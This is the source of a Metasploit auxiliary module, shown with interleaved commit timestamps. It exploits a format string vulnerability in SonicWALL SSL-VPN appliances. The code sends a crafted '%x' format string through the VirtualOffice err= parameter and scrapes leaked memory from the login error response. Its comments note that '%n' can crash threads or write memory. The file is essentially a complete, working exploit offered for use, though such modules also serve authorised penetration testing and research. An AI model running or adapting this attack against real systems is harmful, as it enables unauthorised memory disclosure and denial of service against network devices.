metasploit-framework/modules/auxiliary/dos/http/sonicwall_ssl_format.rb

63 lines
2.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWALL SSL-VPN Format String Vulnerability',
'Description' => %q{
There is a format string vulnerability within the SonicWALL
SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory
can be read or written to, depending on the format string used.
There appears to be a length limit of 127 characters of format
string data. With physical access to the device and debugging,
this module may be able to be used to execute arbitrary code remotely.
},
2017-11-08 16:00:24 +00:00
'Author' => [ 'aushack' ],
2013-08-30 21:28:54 +00:00
'License' => MSF_LICENSE,
'References' => [
[ 'BID', '35145' ],
#[ 'CVE', '' ], # no CVE?
[ 'OSVDB', '54881' ],
2013-08-30 21:28:54 +00:00
[ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ],
],
'DisclosureDate' => 'May 29 2009'))
2013-08-30 21:28:54 +00:00
register_options([
OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]),
OptString.new('FORMAT', [ true, 'Format string (i.e. %x, %s, %n, %p etc)', '%x%x%x%x%x%x%x' ]),
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
])
end
2013-08-30 21:28:54 +00:00
def run
if (datastore['FORMAT'].length > 125) # Max length is 127 bytes
print_error("FORMAT string length cannot exceed 125 bytes.")
return
end
2011-11-20 02:12:07 +00:00
2013-08-30 21:28:54 +00:00
fmt = datastore['FORMAT'] + "XX" # XX is 2 bytes used to mark end of memory garbage for regexp
begin
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']) + fmt,
})
2011-11-20 02:12:07 +00:00
2013-08-30 21:28:54 +00:00
if res and res.code == 200
res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)
print_status("Information leaked: #{$1}")
end
2013-08-30 21:28:54 +00:00
print_status("Request sent to #{rhost}:#{rport}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport}")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end